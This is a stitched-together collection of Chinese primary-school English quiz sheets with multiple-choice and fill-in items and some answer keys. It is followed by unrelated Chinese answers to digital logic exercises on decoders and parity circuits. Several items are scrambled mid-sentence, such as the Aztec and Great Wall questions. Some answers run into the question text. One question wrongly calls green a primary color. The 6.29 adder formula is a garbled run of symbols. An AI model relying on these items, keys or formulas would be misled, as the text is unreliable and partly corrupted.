(ice cream) in the summer.45.What is the opposite of big?A. LargeB. SmallC. TallD. Wide46.I have a ___ (special) talent for singing.47.He _______ (总是) helps me with my homework.48.What do we call the first manned moon landing mission?A. Apollo 11B. Gemini 12C. Mercury 7D. Voyager 1A49.The concept of environmental awareness encourages individuals to take action for the ______.50.What is a group of lions called?A. PackB. PrideC. FlockD. SchoolB51.The ancient Greeks used _______ to build their temples. (大理石)52.The main gas we breathe is ______.53.He has a collection of _______ (邮票).54. A _____ is an area of low land between hills or mountains.55.The first successful vaccine for rabies was developed by ______ (巴斯德).56.The cake is _____ (delicious/tasteless).57.The atmosphere protects us from ______ radiation.58.Which of these is a water sport?A. BaseballB. SurfingC. BasketballD. RunningB59.The cookies are ______ in the oven. (baking)60.The rabbit's ears help it hear _________. (声音)61.Who is the main character in "Harry Potter"?A. RonB. HermioneC. HarryD. DracoC62.The elephant has a long ______ (鼻子).63.I like to __________ (动词) my __________ (玩具名) every day.64.What do bees produce?A. MilkB. HoneyC. SugarD. Butter65.Martin Luther King Jr. fought for _____ rights.66.I believe that kindness can create a ripple effect in our __________.67.What is the name of the fairy tale character with long hair?A. CinderellaB. RapunzelC. Snow WhiteD. Belle68.s built their empire in _____. The Azte69.What is the name of the toy that you can build with blocks?A. PuzzleB. LegoC. DollD. CarB70.I saw a _______ (鸭子) in the pond.71.My teacher has a lot of __________ (耐心) with us.72.The ________ (气象) station reports daily weather.73.The ________ is known for its beautiful song.74.The ancient Greeks contributed greatly to ________ and literature.75.The chemical symbol for helium is ____.76.My toys come from many different ________ (名词) and cultures.77.What do you call a drink made from fermented grapes?A. BeerB. WhiskeyC. WineD. CiderC78.The __________ is a major river that flows through Egypt. (尼罗河)79.The _____ (sprout) comes out of the seed.80. A Newton is the force needed to accelerate a mass of one ______ (kilogram).81.The flamingo has long _______ (颈部).82.The _______ of a substance determines its physical and chemical properties.83. A dilute solution has a ______ concentration of solute.84.The _______ (小海马) swims in the sea among the coral.85.My grandpa tells me . (我爷爷给我讲。
小学下册第1次英语第一单元综合卷(有答案)
小学下册英语第一单元综合卷(有答案)英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.The parrot repeats everything it _________. (听到)2.My brother plays ________ (电子游戏).3. A __________ is a natural reservoir of water.4.The __________ is known for its vast empire and military prowess. (罗马帝国)5.I love visiting art galleries to appreciate __________.6.The country of Italy is shaped like a ________ (意大利的形状像一个________).7.The main product of cellular respiration is ______.8.The _____ (蝴蝶) lands softly on a flower to drink nectar. 蝴蝶轻轻落在花上喝花蜜。
9.My sister loves __________ (动物园).10.How many teeth does an adult human typically have?A. 20B. 24C. 28D. 32答案: D11.In 1776, the Declaration of Independence was adopted in the ______ (美国).12.My brother is a great ________ (运动员).13.I can ______ (read) a book in one sitting.14.What do we call the process of a caterpillar turning into a butterfly?A. MetamorphosisB. EvolutionC. DevelopmentD. Transformation 答案: A15.The dog barks at the ___ (cats/birds).16.Certain plants can ______ (影响) climate locally.17.She is studying to be a ________.18. A cactus can survive in very _______ places.19.What is the main language spoken in Spain?A. EnglishB. FrenchC. SpanishD. Italian答案: C20.The ________ is important for navigation on the seas.21.The __________ (历史的承载) reflects our identity.22.What is the primary color that is a mix of blue and yellow?A. RedB. GreenC. OrangeD. Purple答案:b23.Certain herbs are known for their ______ (美容效果).24.My dad takes me to __________. (看电影)25. A __________ is a reaction that occurs slowly over time.26.The Sun is the center of our solar ______.27.The ______ helps with the sense of taste.28.__________ are known for their colorful plumage and ability to mimic sounds.29.There are many _____ in the fridge. (fruits/colors/books)30. A ______ (社区参与) can enhance conservation efforts.31.What is the largest land animal?A. HippopotamusB. GiraffeC. ElephantD. Rhino答案: C32.Geothermal energy comes from the heat stored in the ______ of the Earth.33.My sister enjoys learning about ____ (geography).34. A ____(research study) investigates specific environmental challenges.35.I built a huge _________ (城堡) with my building blocks and it looks _________ (很棒).36. A chemical reaction can occur in _____ solutions.37.My brother has a toy ______ (赛车). He loves to race it on the ______ (地板).38.The _____ (陀螺) spins really fast.39.She is ___ the dishes. (washing)40.The number of electrons in a neutral atom equals the number of ______.41.The ________ (project) requires teamwork.42. A _____ (热带雨林) is home to countless plant species.43.My ______ loves to share her knowledge.44. A ______ is a type of animal that can be found in the Arctic.45.我的朋友喜欢 _______ (活动). 她觉得这很 _______ (形容词)46.The __________ (树) is very tall and strong.47.My birthday is in ___ (June).48.The book is _____ the table. (under)49.I like to _____ (travel/stay) at home.50.My cousin is a __________ athlete. (出色的)51. A solution's concentration can be expressed in ______.52.The fish swims in the ______ (池塘). It is very ______ (漂亮).53.My brother is a ______. He enjoys programming.54.The kangaroo can kick with its powerful _______ (后腿).55.The capital of Fiji is ________ (苏瓦).56.I saw a ________ fly by my window.57.What is the term for a baby horse?A. CalfB. FoalC. KittenD. Puppy答案:B58.The city of Venice is known for its ________ (运河).59.What color is a banana?A. BlueB. YellowC. RedD. Green答案:B60.The capital of Portugal is __________.61.My mom is a ______. She loves gardening.62. A rabbit's ears can hear very ______ (远).63.Many gardeners share their __________ (经验和技巧) with others.64.The rabbit's fur is very ______ (软).65.The sun is ___ bright. (very)66.The chemical formula for acetic acid is _______.67.My cousin is my best _______ because we have fun together.68.What is the name of the famous scientist who discovered the circulation of blood?A. HippocratesB. GalenC. William HarveyD. Andreas Vesalius答案: C69.I watch _______ (cartoons/movies) after school.70.We should plant more __________ (树木) for future generations.71.The main component of the Earth's crust is ______.72. A ________ (园艺活动) fosters community spirit.73.I have a ______ robot that talks.74.__________ (材料科学) examines the properties and applications of substances.75.Plants can reproduce by _______.76.The __________ (历史的交融) creates understanding.77.The __________ is a famous tourist destination in Asia.78.I enjoy planting _____ (多肉植物).79.The tortoise is known for its _______ (耐心).80.He likes to ______ (play) video games.81.My teacher is very __________. (聪明)82.What fruit is typically associated with keeping the doctor away?A. BananaB. OrangeC. AppleD. Grape答案:C83.The squirrel is _____ nuts for winter. (collecting)84.The trees in the _______ provide shade and a place to relax.85. A neutral solution has a pH of ______.86.What type of animal is a frog?A. MammalB. ReptileC. BirdD. Amphibian答案: D. Amphibian87.The ancient Romans enjoyed ________ (角斗士比赛).88.My sister has a passion for __________ (音乐).89.I need to _____ (finish/start) my homework.90.My favorite animal is a _______ (小猫) because it is so cute.91.In the periodic table, elements are organized by their ________ properties.92.The ________ (气候变化) affects wildlife.93.The girl loves to ________.94.My aunt enjoys baking ____ (cookies) for the holidays.95.Chemistry can help us understand the world around us and make _____.96.Some _______ can spread quickly.97.What do we call the natural resource that is used to make electricity?A. CoalB. OilC. GasD. All of the above答案: D. All of the above98.The boy plays the ________.99.My pet is a ________ and it loves to play.100.I have a collection of ______ (玩具). They make me very ______ (快乐).。
小学上册T卷英语第六单元真题(含答案)
小学上册英语第六单元真题(含答案)英语试题一、综合题(本题有100小题，每小题1分，共100分.每小题不选、错误，均不给分)1.I enjoy ___ (painting) with watercolors.2.What do you call the process of a liquid turning into a gas?A. CondensationB. EvaporationC. FreezingD. Melting答案:B3.The _______ (The Treaty of Paris) ended the American Revolutionary War.4.The ________ (situation) is challenging.5.The ______ shares interesting facts about nature.6.The chemical symbol for phosphorus is __________.7.In a single displacement reaction, one element replaces another in a _____.8.What is the capital city of Kenya?A. NairobiB. MombasaC. KisumuD. Nakuru9.What do you call the sweet food made from sugar and butter?A. FudgeB. CaramelC. ToffeeD. Candy答案:A10.The chemical formula for uric acid is ______.11.What is the opposite of 'full'?A. EmptyB. CompleteC. WholeD. Packed12. A _______ can be used to measure the intensity of sound in a room.13.What do we call a person who studies the stars?A. GeologistB. MeteorologistC. AstronomerD. Biologist答案:C14.Which planet is known as the Blue Planet?A. MarsB. EarthC. NeptuneD. Uranus答案:B15.What is the name of the famous comic book character created by Stan Lee?A. SupermanB. Iron ManC. BatmanD. Wonder Woman答案:B16. A __________ is formed from the cooling and solidification of magma.17.How many zeros are in one million?A. FiveB. SixC. SevenD. Eight18.The __________ is the largest forest in the world. (亚马逊雨林)19.What is the name of the famous wizard in "The Lord of the Rings"?A. DumbledoreB. GandalfC. MerlinD. Saruman答案:B20.What is the primary ingredient in a burrito?A. TortillaB. RiceC. BeansD. Meat21.The capital of Iceland is _____.22.I find ________ (政治) very interesting to discuss.23.The ________ is a small animal that loves to explore.24.What is the capital of the Republic of the Congo?A. BrazzavilleB. Pointe-NoireC. DolisieD. Nkayi答案:A25.What is the name of the fairy tale character who has long hair?A. CinderellaB. RapunzelC. Snow WhiteD. Little Red Riding Hood答案:B26.Pandas mainly eat _________ (竹子).27.What do we call the light produced by fireflies?A. LuminescenceB. IncandescenceC. FluorescenceD. Phosphorescence答案:A28.The weather is ________ today.29.What do you call the person who teaches you in school?A. StudentB. TeacherC. PrincipalD. Janitor答案:B30.Which instrument is typically played with a bow?A. FluteB. TrumpetC. ViolinD. Guitar答案:C Violin31.What do you call the sound made by a rooster?A. MooB. QuackC. Cock-a-doodle-dooD. Bark32.What is the opposite of "hot"?A. WarmB. CoolC. ColdD. Freezing答案:C33.I always do my homework ________.34.I enjoy listening to ________ (民谣音乐) at home.35.The rabbit is ________ carrots.36.The octopus can taste with its ______ (触手).37.The _____ (bridge) is long.38.The ____ is known for its unique markings and colors.39.In a catalytic reaction, the catalyst remains _____ after the reaction is complete.40.What is the capital of Morocco?A. MarrakechB. CasablancaC. RabatD. Tangier答案:C41. A solution can become saturated when it contains a solid that will not ______.42.We go _____ (birdwatching) in the park.43.The children are _____ in the playground. (laughing)44. A ________ (植物遗传多样性) is crucial for resilience.45.The smallest unit of an element is called an __________.46.I have _____ (one/two) sister(s).47.The __________ (金字塔) were built as tombs for pharaohs.48.What color do you get by mixing red and white?A. PinkB. OrangeC. PurpleD. Brown答案:A49.The study of the Earth’s magnetic properties is known as ______.50.What do we call a baby dog?A. KittenB. CubC. PuppyD. Foal51. Wall of China was built to __________ (保护) the country from invasions. The Grea52.What do we call a person who studies the ocean?A. OceanographerB. Marine BiologistC. GeologistD. Environmentalist53.An astronaut experiences weightlessness in ______ (space).54. A _______ (小花猫) loves to play with string.55.The __________ (历史的回顾性) fosters reflection.56.My favorite stuffed animal is a ________ (小熊), and I hug it every night when I go to ________ (睡觉).57.My favorite game is ________ (象棋).58.What do you call the middle of the Earth?A. CrustB. MantleC. CoreD. Shell答案:C59.My grandpa enjoys telling ____.60.What do we call the imaginary line that divides the Earth into the Eastern and Western Hemispheres?A. EquatorB. Prime MeridianC. International Date LineD. Tropic of Capricorn答案:B Prime Meridian61.The ancient Persians built a vast ________.62.What is the name of the river that flows through Egypt?A. AmazonB. NileC. YangtzeD. Mississippi答案:B Nile63.I enjoy talking to my __________. (朋友)64.The __________ (空气质量) can be improved with more plants.65.What do you use to write on paper?A. BrushB. PencilC. SpoonD. Fork答案:B66.My dad tells ______ (故事) at night.67.The game is ___. (exciting)68.My best friend's name is . (我最好的朋友叫)69.The rabbit eats grass and ______ (叶子).70.The Milky Way is a spiral-shaped _______.71.We can _______ (做手工) together.72.The ________ is very soft and cuddly.73.I have a new ___. (toy)74.The ________ was a leading advocate for equality in education.75.The _______ (The Age of Imperialism) accelerated global interactions.76.We need to ___ (study) for the test.77.小蛇) enjoys the warmth of the sun. The ___78.The _____ (树) provides shade.79.He rides his bike in the ___. (park)80.What do we call the tales told by the Brothers Grimm?A. Fairy TalesB. NovelsC. MythsD. Fables答案:A81.ts have deep roots that help them survive in ______ conditions. (某些植物有深根，有助于它们在干旱条件下生存。
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第六章习题答案
6.20 译码器作为最大项和最小项的产生器，从而实现组合逻辑。
要求是与非门，故必须化成积之和式。
a)F=∑X,Y,Z(2,4,7)
b)F=∏A,B,C(3,4,5,6,7)
c)F=∑A,B,C,D(0,2,10,12)
四个变量，但画卡诺图后，发现有公共项变量D’,可作为使能端
d)F=∑W,X,Y,Z(2,3,4,5,8,10,12,14)
四个变量，画卡诺图，无公共变量，但可写表达式F=w’(……)+w(……)。
故w 可看成控制两个138的使能端。
e)F=∑W,X,Y(0,2,4,5) G=∑W,X,Y(1,2,3,6)
同一组变量wxy的多输出函数。
f) F=∑A,B,C (2,6) G=∑C,D,E
(0,2,3)
虽然是5个变量，但C 是共同的，并可提出。
剩下AB 和DE ，可用139 6.21
两个2-4译码器使能端接到了一起，当EN_L 为低时两个139译码器同时工作，输出端三态门同时有效，可同时驱动SDATA ，从而使输出端逻辑混乱甚至烧毁器件。
6.24
使用的异或非门为偶数时，可以直接将异或非门改成异或门，仍为奇校验电路。
所以若使用的异或非门为奇数时，则为偶校验
6.29
10000000211111111100322222
22221111003333
332222111100() () = () () = ()( ()) = ( ()( ()))
=++==++++=++++++=⊕⊕⊕⊕++++c x y x y c x y c x y x y c x y x y x y c x y x y c x y x y x y x y x y s x y c x y x y x y x y x y x y
6.31
直接画卡诺图，根据题意填，化简得出表达式。
另外，变化后可用7个2输入与非门实现，即2个74x00，达到最小成本。
相关的门参见P9
6.43
二进制译码器实现组合逻辑的优点: 不用化简；可实现多输出。